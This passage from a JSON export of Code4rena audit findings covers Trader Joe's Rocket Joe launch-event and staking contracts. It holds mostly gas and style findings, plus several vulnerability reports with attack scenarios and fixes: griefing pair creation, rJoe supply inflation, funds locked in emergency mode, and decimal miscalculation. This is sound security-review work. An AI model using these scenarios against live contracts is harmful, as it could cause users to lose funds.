"target": "2022-01-trader-joe-findings", "body": "Use short reason strings can save gas"}, {"title": "`Ownable` library is redundant", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/241", "labels": ["bug", "disagree with severity", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2022-01-trader-joe/blob/a1579f6453bc4bf9fb0db9c627beaa41135438ed/contracts/LaunchEvent.sol#L19-L19 ```solidity contract LaunchEvent is Ownable { ``` The `LaunchEvent.sol` contract never utilized `onlyOwner` / `owner()` or any other features provided by the `Ownable` library. Therefore, `is Ownable` can be removed. "}, {"title": "\"> 0\" is less efficient than \"!= 0\" for unsigned integers", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/240", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "\"> 0\" is less efficient than \"!= 0\" for unsigned integers"}, {"title": "Check if amount > 0 before token transfer can save gas", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/238", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-01-trader-joe-findings", "body": "Check if amount > 0 before token transfer can save gas"}, {"title": "Cache external call results can save gas", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/236", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "Cache external call results can save gas"}, {"title": "Redundant type casting", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/235", "labels": ["bug", "disagree with severity", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "Redundant type casting"}, {"title": "Cache and read storage variables from the stack can save gas", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/234", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Cache and read storage variables from the stack can save gas"}, {"title": "Adding unchecked directive can save gas", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/233", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Adding unchecked directive can save gas"}, {"title": "Code Style: non-constant should not be named in all caps", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/230", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "# Handle WatchPug # Vulnerability details Non-constant (especially public) variables should not be in `SCREAMING_SNAKE_CASE`, or they may be misunderstood as constants. Consider changing to `camelCase`. See: https://docs.soliditylang.org/en/v0.8.11/style-guide.html?highlight=name#local-and-state-variable-names Instances include: https://github.com/code-423n4/2022-01-trader-joe/blob/a1579f6453bc4bf9fb0db9c627beaa41135438ed/contracts/interfaces/IRocketJoeFactory.sol#L35-L39 ```solidity function PHASE_ONE_DURATION() external view returns (uint256); function PHASE_ONE_NO_FEE_DURATION() external view returns (uint256); function PHASE_TWO_DURATION() external view returns (uint256); ``` https://github.com/code-423n4/2022-01-trader-joe/blob/a1579f6453bc4bf9fb0db9c627beaa41135438ed/contracts/RocketJoeFactory.sol#L29-L31 ```solidity uint256 public override PHASE_ONE_DURATION = 2 days; uint256 public override PHASE_ONE_NO_FEE_DURATION = 1 days; uint256 public override PHASE_TWO_DURATION = 1 days; ``` https://github.com/code-423n4/2022-01-trader-joe/blob/a1579f6453bc4bf9fb0db9c627beaa41135438ed/contracts/RocketJoeFactory.sol#L200-L214 ```solidity function setPhaseDuration(uint256 _phaseNumber, uint256 _duration) external override onlyOwner { if (_phaseNumber == 1) { require( _duration > PHASE_ONE_NO_FEE_DURATION, \"RJFactory: phase one duration lower than no fee duration\" ); PHASE_ONE_DURATION = _duration; } else if (_phaseNumber == 2) { PHASE_TWO_DURATION = _duration; } } ``` https://github.com/code-423n4/2022-01-trader-joe/blob/a1579f6453bc4bf9fb0db9c627beaa41135438ed/contracts/RocketJoeFactory.sol#L218-L228 ```solidity function setPhaseOneNoFeeDuration(uint256 _noFeeDuration) external override onlyOwner { require( _noFeeDuration < PHASE_ONE_DURATION, \"RJFactory: no fee duration bigger than phase one duration\" ); PHASE_ONE_NO_FEE_DURATION = _noFeeDuration; } ``` "}, {"title": "Saving more gas by using `immutable phase`", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/229", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Saving more gas by using `immutable phase`"}, {"title": "Caching `rJoe` variable", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/227", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Caching `rJoe` variable"}, {"title": "Mint() by OnlyOwner Lack of Zero Address Check for Address _to", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/223", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Mint() by OnlyOwner Lack of Zero Address Check for Address _to"}, {"title": "Gas in `LaunchEvent.sol:pairBalance()`: `wavaxAllocated` should get cached", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/219", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Gas in `LaunchEvent.sol:pairBalance()`: `wavaxAllocated` should get cached"}, {"title": "Gas in `LaunchEvent.sol:getPenalty()`: `PHASE_ONE_DURATION` and `PHASE_ONE_NO_FEE_DURATION` should get cached", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/218", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Gas in `LaunchEvent.sol:getPenalty()`: `PHASE_ONE_DURATION` and `PHASE_ONE_NO_FEE_DURATION` should get cached"}, {"title": "Gas in `LaunchEvent.sol:emergencyWithdraw()`: `issuer` should get cached", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/217", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Gas in `LaunchEvent.sol:emergencyWithdraw()`: `issuer` should get cached"}, {"title": "Gas in `LaunchEvent.sol:withdrawLiquidity()`: `tokenReserve` should get cached earlier", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/216", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Gas in `LaunchEvent.sol:withdrawLiquidity()`: `tokenReserve` should get cached earlier"}, {"title": "Gas in `LaunchEvent.sol:createPair()`: `wavaxReserve` should get cached", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/215", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Gas in `LaunchEvent.sol:createPair()`: `wavaxReserve` should get cached"}, {"title": "Gas in `LaunchEvent.sol:currentPhase()`: `auctionStart` and `PHASE_ONE_DURATION` should get cached", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/214", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Gas in `LaunchEvent.sol:currentPhase()`: `auctionStart` and `PHASE_ONE_DURATION` should get cached"}, {"title": "Gas in `RocketJoeFactory.sol:createRJLaunchEvent()`: `wavax` should get cached", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/211", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Gas in `RocketJoeFactory.sol:createRJLaunchEvent()`: `wavax` should get cached"}, {"title": "Gas: `RocketJoeStaking.withdraw`", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/210", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "# Handle cmichel # Vulnerability details `RocketJoeStaking.withdraw`: The `_safeRJoeTransfer(msg.sender, pending)` only needs to be performed if `pending > 0`. "}, {"title": "Misleading comment in `LaunchEvent.getReserves`", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/209", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "# Handle cmichel # Vulnerability details `LaunchEvent.getReserves`: The comment says: `@notice Returns the current balance of the pool`. The \"of the pool\" part can be misleading as the `tokenIncentivesBalance` are never part of the _pool pair_. Consider changing this to \"Returns the outstanding balance of the launch event contract\". "}, {"title": "`LaunchEvent.tokenIncentivesPercent` wrong docs", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/208", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "# Handle cmichel # Vulnerability details `LaunchEvent.tokenIncentivesPercent`: The math in the comment is wrong: `/// then 105 000 * 1e18 / (1e18 + 5e16) = 5 000 tokens are used for incentives`. It should be `105 000 * 5e16 / (1e18 + 5e16) = 5 000 tokens are used for incentives` "}, {"title": "Gas in `RocketJoeStaking.sol:updatePool()`: `lastRewardTimestamp` should get cached", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/207", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Gas in `RocketJoeStaking.sol:updatePool()`: `lastRewardTimestamp` should get cached"}, {"title": "Penalty Collector must be trusted", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/206", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Penalty Collector must be trusted"}, {"title": "Uninitialized `RocketJoeStaking.lastRewardTimestamp` can inflate `rJoe` supply", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/202", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "# Handle cmichel # Vulnerability details The `RocketJoeStaking.lastRewardTimestamp` is initialized to zero. Usually, this does not matter as `updatePool` is called before the first deposit and when `joeSupply = joe.balanceOf(address(this)) == 0`, it is set to the current time. ```solidity function updatePool() public { if (block.timestamp <= lastRewardTimestamp) { return; } uint256 joeSupply = joe.balanceOf(address(this)); // @audit lastRewardTimestamp is not initialized. can send 1 Joe to this contract directly => lots of rJoe minted to this contract if (joeSupply == 0) { lastRewardTimestamp = block.timestamp; return; } uint256 multiplier = block.timestamp - lastRewardTimestamp; uint256 rJoeReward = multiplier * rJoePerSec; accRJoePerShare = accRJoePerShare + (rJoeReward * PRECISION) / joeSupply; lastRewardTimestamp = block.timestamp; rJoe.mint(address(this), rJoeReward); } ``` However, if a user first directly transfers `Joe` tokens to the contract before the first `updatePool` call, the `block.timestamp - lastRewardTimestamp = block.timestamp` will be a large timestamp value and lots of `rJoe` will be minted (but not distributed to users). Even though they are not distributed to the users, inflating the `rJoe` total supply might not be desired. #### Recommendation Consider tracking the actual total deposits in a storage variable and using this value instead of the current balance for `joeSupply`. This way, transferring tokens to the contract has no influence and depositing through `deposit` first calls `updatePool` and initializes `lastRewardTimestamp`. "}, {"title": "`rJoeAmount` can never be less than the `_avaxAmount`", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/201", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "# Handle cmichel # Vulnerability details The `LaunchEvent.rJoePerAvax` variable is an _unscaled_ integer value and used to compute the `rJoeAmount` as: ```solidity function getRJoeAmount(uint256 _avaxAmount) public view returns (uint256) { return _avaxAmount * rJoePerAvax; } ``` This means the required `rJoeAmount` to burn can never be less than the deposited `avaxAmount`. If a launch event desires to use `0.5 rJoe` per AVAX, this is not possible. #### Recommendation Consider the `rJoePerAvax` value as a value scaled by `1e18` and then divide by this scale in `getRJoeAmount` again. "}, {"title": "Users can lose value in emergency state", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/199", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "# Handle cmichel # Vulnerability details Imagine the following sequence of events: - `LaunchEvent.createPair()` is called which sets `wavaxReserve = 0`, adds liquidity to the pair and receives `lpSupply` LP tokens. - `LaunchEvent.allowEmergencyWithdraw()` is called which enters emergency / paused mode and disallows normal withdrawals. - Users can only call `LaunchEvent.emergencyWithdraw` which reverts as the WAVAX reserve was already used to provide liquidity and cannot be paid out. Users don't receive their LP tokens either. The users lost their entire deposit in this case. #### Recommendation Consider paying out LP tokens in `emergencyWithdraw`. "}, {"title": "ERC20 return values not checked", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/198", "labels": ["bug", "duplicate", "2 (Med Risk)"], "target": "2022-01-trader-joe-findings", "body": "ERC20 return values not checked"}, {"title": "Pair creation can be denied", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/197", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "# Handle cmichel # Vulnerability details The `LaunchEvent.createPair` requires that no previous pool was created for the `WAVAX <> _token` pair. ```solidity function createPair() external isStopped(false) atPhase(Phase.PhaseThree) { (address wavaxAddress, address tokenAddress) = ( address(WAVAX), address(token) ); // @audit grief: anyone can create pair require( factory.getPair(wavaxAddress, tokenAddress) == address(0), \"LaunchEvent: pair already created\" ); // ... } ``` A griefer can create a pool for the `WAVAX <> _token` pair by calling [`JoeFactory.createPair(WAVAX, _token)`](https://snowtrace.io/address/0x9ad6c38be94206ca50bb0d90783181662f0cfa10#contracts) while the launch event phase 1 or 2 is running. No liquidity can then be provided and an emergency state must be triggered for users and the issuer to be able to withdraw again. #### Recommendation It must be assumed that the pool is already created and even initialized as pool creation and liquidity provisioning is permissionless. Special attention must be paid if the pool is already initialized with liquidity at a different price than the launch event price. It would be enough to have a standard min. LP return \"slippage\" check (using parameter values for `amountAMin/amountBMin` instead of the hardcoded ones in `router.addLiquidity`) in `LaunchEvent.createPair()`. The function must then be callable with special privileges only, for example, by the issuer. Alternatively, the slippage check can be hardcoded as a percentage of the raised amounts (`amountADesired = 0.95 * wavaxReserve, amountBDesired = 0.95 * tokenAllocated`). This will prevent attacks that try to provide LP at a bad pool price as the transaction will revert when receiving less than the slippage parameter. If the pool is already initialized, it should just get arbitraged to the auction token price and liquidity can then be provided at the expected rate again. "}, {"title": "Gas in `RocketJoeStaking.sol:deposit()`: `accRJoePerShare` should get cached", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/196", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Gas in `RocketJoeStaking.sol:deposit()`: `accRJoePerShare` should get cached"}, {"title": "Wrong token allocation computation for token decimals != 18 if floor price not reached", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/193", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "# Handle cmichel # Vulnerability details In `LaunchEvent.createPair`, when the floor price is not reached (`floorPrice > wavaxReserve * 1e18 / tokenAllocated`), the tokens to be sent to the pool are lowered to match the raised WAVAX at the floor price. Note that the `floorPrice` is supposed to have a precision of 18: > /// @param _floorPrice Price of each token in AVAX, scaled to 1e18 The `floorPrice > (wavaxReserve * 1e18) / tokenAllocated` check is correct but the `tokenAllocated` computation involves the `token` decimals: ```solidity // @audit should be wavaxReserve * 1e18 / floorPrice tokenAllocated = (wavaxReserve * 10**token.decimals()) / floorPrice; ``` This computation does not work for `token`s that don't have 18 decimals. #### Example Assume I want to sell `1.0 wBTC = 1e8 wBTC` (8 decimals) at `2,000.0 AVAX = 2,000 * 1e18 AVAX`. The `floorPrice` is `2000e18 * 1e18 / 1e8 = 2e31` Assume the Launch event only raised `1,000.0 AVAX` - half of the floor price for the issued token amount of `1.0 WBTC` (it should therefore allocate only half a WBTC) - and the token amount will be reduced as: `floorPrice = 2e31 > 1000e18 * 1e18 / 1e8 = 1e31 = actualPrice`. Then, `tokenAllocated = 1000e18 * 1e8 / 2e31 = 1e29 / 2e31 = 0` and no tokens would be allocated, instead of `0.5 WBTC = 0.5e8 WBTC`. The computation should be `tokenAllocated = wavaxReserve * 1e18 / floorPrice = 1000e18 * 1e18 / 2e31 = 1e39 / 2e31 = 10e38 / 2e31 = 5e7 = 0.5e8`. #### Recommendation The new `tokenAllocated` computation should be `tokenAllocated = wavaxReserve * 1e18 / floorPrice;`. "}, {"title": "Gas in `RocketJoeStaking.sol:withdraw()`: `accRJoePerShare` should get cached", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/192", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Gas in `RocketJoeStaking.sol:withdraw()`: `accRJoePerShare` should get cached"}, {"title": "Gas in `RocketJoeStaking.sol:withdraw()`: `user.amount` should get cached and used for calculation", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/187", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Gas in `RocketJoeStaking.sol:withdraw()`: `user.amount` should get cached and used for calculation"}, {"title": "Incorecct calculation between actual code and comment", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/186", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2022-01-trader-joe-findings", "body": "Incorecct calculation between actual code and comment"}, {"title": "Gas in `RocketJoeStaking.sol:deposit()`: `user.amount` should get cached and used for calculation", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/185", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Gas in `RocketJoeStaking.sol:deposit()`: `user.amount` should get cached and used for calculation"}, {"title": "Gas in `RocketJoeFactory.sol:_emitLaunchedEvent()`: a value used only once shouldn't get cached", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/184", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Gas in `RocketJoeFactory.sol:_emitLaunchedEvent()`: a value used only once shouldn't get cached"}, {"title": "Gas in `LaunchEvent.sol:emergencyWithdraw()`: `user.balance` should get cached earlier", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/182", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Gas in `LaunchEvent.sol:emergencyWithdraw()`: `user.balance` should get cached earlier"}, {"title": "The contracts use unlocked pragma", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/181", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "# Handle hyh # Vulnerability details ## Impact As different compiler versions have critical behavior specifics if the contract gets accidentally deployed using another compiler version compared to one they tested with, various types of undesired behavior can be introduced. ## Proof of Concept All the contracts in scope use unlocked pragma: ```pragma solidity ^0.8.0```, allowing wide enough range of versions. Examples: https://github.com/code-423n4/2022-01-trader-joe/blob/main/contracts/LaunchEvent.sol#L4 https://github.com/code-423n4/2022-01-trader-joe/blob/main/contracts/RocketJoeToken.sol#L3 ## Recommended Mitigation Steps Consider locking compiler version, for example `pragma solidity 0.8.6`. This can have additional benefits, for example using custom errors to save gas and so forth. "}, {"title": "Gas in `LaunchEvent.sol:withdrawLiquidity()`: `address(pair)` should get cached", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/180", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Gas in `LaunchEvent.sol:withdrawLiquidity()`: `address(pair)` should get cached"}, {"title": "Gas in `LaunchEvent.sol:createPair()`: calculation should get cached", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/179", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Gas in `LaunchEvent.sol:createPair()`: calculation should get cached"}, {"title": "Gas: Non-strict inequalities are cheaper than strict ones", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/178", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Gas: Non-strict inequalities are cheaper than strict ones"}, {"title": "Gas savings", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/174", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Gas savings"}, {"title": "Failed transfer with low level call could be overlooked", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/170", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "# Handle harleythedog # Vulnerability details ## Impact The `CallFacet.sol` contract has the function `_call` : ``` function _call( address _target, bytes memory _calldata, uint256 _value ) internal { require(address(this).balance >= _value, \"ETH_BALANCE_TOO_LOW\"); (bool success, ) = _target.call{value: _value}(_calldata); require(success, \"CALL_FAILED\"); emit Call(msg.sender, _target, _calldata, _value); } ``` This function is utilized in a lot of different places. According to the [Solidity docs]([https://docs.soliditylang.org/en/develop/control-structures.html#error-handling-assert-require-revert-and-exceptions](https://docs.soliditylang.org/en/develop/control-structures.html#error-handling-assert-require-revert-and-exceptions)), \"The low-level functions `call`, `delegatecall` and `staticcall` return `true` as their first return value if the account called is non-existent, as part of the design of the EVM. Account existence must be checked prior to calling if needed\". As a result, it is possible that this call will not work but `_call` will not notice anything went wrong. It could be possible that a user is interacting with an exchange or token that has been deleted, but `_call` will not notice that something has gone wrong and as a result, ether can become stuck in the contract. For this reason, it would be better to also check for the contract's existence prior to executing `_target.call`. For reference, see a similar high severity reported in a Uniswap audit here (report # 9): https://github.com/Uniswap/v3-core/blob/main/audits/tob/audit.pdf ## Proof of Concept See `_call` here: https://github.com/code-423n4/2021-12-amun/blob/98f6e2ff91f5fcebc0489f5871183566feaec307/contracts/basket/contracts/facets/Call/CallFacet.sol#L108. ## Tools Used Inspection ## Recommended Mitigation Steps To ensure tokens don't get stuck in edge case where user is interacting with a deleted contract, make sure to check that contract actually exists before calling it. "}, {"title": "LP Tokens May Be Locked in Contract Due to `allowEmergencyWithdraw()` in Stage 3", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/169", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "# Handle kirk-baird # Vulnerability details ## Impact The function [allowEmergencyWithdraw()](https://github.com/code-423n4/2022-01-trader-joe/blob/main/contracts/LaunchEvent.sol#L520) may be called by the `rocketJoeFactory.owner()` at any time. If it is called while the protocol is in Stage 3 and a pair has been created then the LP tokens will be locked and both issues and depositors will be unable to withdraw. ## Proof of Concept If `allowEmergencyWithdraw()` is called `stopped` is set to `true`. As a result functions [withdrawIncentives()](https://github.com/code-423n4/2022-01-trader-joe/blob/main/contracts/LaunchEvent.sol#L468) and [withdrawLiquidity()](https://github.com/code-423n4/2022-01-trader-joe/blob/main/contracts/LaunchEvent.sol#L438) will revert due to the `isStopped(false)` modifier reverting. Additionally, [emergencyWithdraw()](https://github.com/code-423n4/2022-01-trader-joe/blob/main/contracts/LaunchEvent.sol#L494) will revert since all the `WAVAX` and `token` balances have been transferred to the liquidity pool. Thus, depositors and issuers will have no methods of removing their LP tokens or incentives. ## Recommended Mitigation Steps Consider adding the requirement `require(address(pair) != address(0), \"LaunchEvent: pair not created\");` to the function `allowEmergencyWithdraw()`. "}, {"title": "Gas: Missing checks for non-zero transfer value calls", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/166", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Gas: Missing checks for non-zero transfer value calls"}, {"title": "Missing inheritances", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/164", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Missing inheritances"}, {"title": "Gas Optimisation - Simplify `_atPhase()` Logic", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/162", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "# Handle kirk-baird # Vulnerability details ## Impact The logic in [_atPhase()`](https://github.com/code-423n4/2022-01-trader-joe/blob/main/contracts/LaunchEvent.sol#L590) can be simplified to save gas and code complexity. The code can be simplified to the follwoing. ```solidity function _atPhase(Phase _phase) internal view { require(currentPhase() == _phase, \"LaunchEvent: incorrect phase\"); } ``` ## Proof of Concept n/a ## Tools Used n/a ## Recommended Mitigation Steps Consider updating the code to that procided above. "}, {"title": "`RocketJoeStaking.sol#withdraw` has an unneeded require statement", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/160", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "`RocketJoeStaking.sol#withdraw` has an unneeded require statement"}, {"title": "Gas: Tight variable packing in `LaunchEvent.sol`", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/159", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Gas: Tight variable packing in `LaunchEvent.sol`"}, {"title": "Gas Optimisation - Unnecessary External Calls in `LaunchEvent.initialize()`", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/158", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Gas Optimisation - Unnecessary External Calls in `LaunchEvent.initialize()`"}, {"title": "Inclusive checks in LaunchEvent.sol for time-management", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/157", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Inclusive checks in LaunchEvent.sol for time-management"}, {"title": "`LaunchEvent.sol`: Use `SafeERC20.safeApprove` in `createPair()`", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/154", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "`LaunchEvent.sol`: Use `SafeERC20.safeApprove` in `createPair()`"}, {"title": "Wrong comment", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/149", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "# Handle wuwe1 # Vulnerability details ## Impact Causing confuse to user and developer. ## Proof of Concept https://github.com/code-423n4/2022-01-trader-joe/blob/main/contracts/LaunchEvent.sol#L55 `105000 * 1e18 / (1e18 + 5e16)` is equal to `100000` ## Recommended Mitigation Steps change to `105000 - 105000 * 1e18 / (1e18 + 5e16) = 5000` "}, {"title": "Missing event emitting", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/148", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "# Handle wuwe1 # Vulnerability details ## Impact Off-chain tools will not work as expected. ## Proof of Concept Missing UserWithdrawn [https://github.com/code-423n4/2022-01-trader-joe/blob/main/contracts/LaunchEvent.sol#L132](https://github.com/code-423n4/2022-01-trader-joe/blob/main/contracts/LaunchEvent.sol#L132) [https://github.com/code-423n4/2022-01-trader-joe/blob/main/contracts/LaunchEvent.sol#L372](https://github.com/code-423n4/2022-01-trader-joe/blob/main/contracts/LaunchEvent.sol#L372) Missing IssuingTokenDeposited [https://github.com/code-423n4/2022-01-trader-joe/blob/main/contracts/LaunchEvent.sol#L124](https://github.com/code-423n4/2022-01-trader-joe/blob/main/contracts/LaunchEvent.sol#L124) [https://github.com/code-423n4/2022-01-trader-joe/blob/main/contracts/LaunchEvent.sol#L287](https://github.com/code-423n4/2022-01-trader-joe/blob/main/contracts/LaunchEvent.sol#L287) ## Recommended Mitigation Steps Add `emit UserWithdrawn(user, amountMinusFee)` after L372 Add `emit IssuingTokenDeposited(_token, balance)` after L287 "}, {"title": "`createPair()` expects zero slippage", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/146", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "`createPair()` expects zero slippage"}, {"title": "Missing divide by 0 check on tokenAllocated", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/140", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "# Handle Dravee # Vulnerability details ## Impact A division by 0 could occur ## Proof of Concept There are no checks that the denominator is `!= 0` here: ``` File: LaunchEvent.sol 392: uint256 tokenAllocated = tokenReserve; 393: 394: // Adjust the amount of tokens sent to the pool if floor price not met 395: if ( 396: floorPrice > (wavaxReserve * 10**token.decimals()) / tokenAllocated 397: ) { ``` tokenReserve (`uint256 tokenAllocated = tokenReserve;`) can be equal to 0 according to this comment: https://github.com/code-423n4/2022-01-trader-joe/blob/main/contracts/LaunchEvent.sol#L106 Therefore this could happen ## Tools Used VS Code ## Recommended Mitigation Steps Check for `tokenAllocated != 0` before this division "}, {"title": "Gas: Mark functions as payable when users can't mistakenly send ETH", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/132", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Gas: Mark functions as payable when users can't mistakenly send ETH"}, {"title": "Gas Optimisation - Reduce storage loads", "html_url": 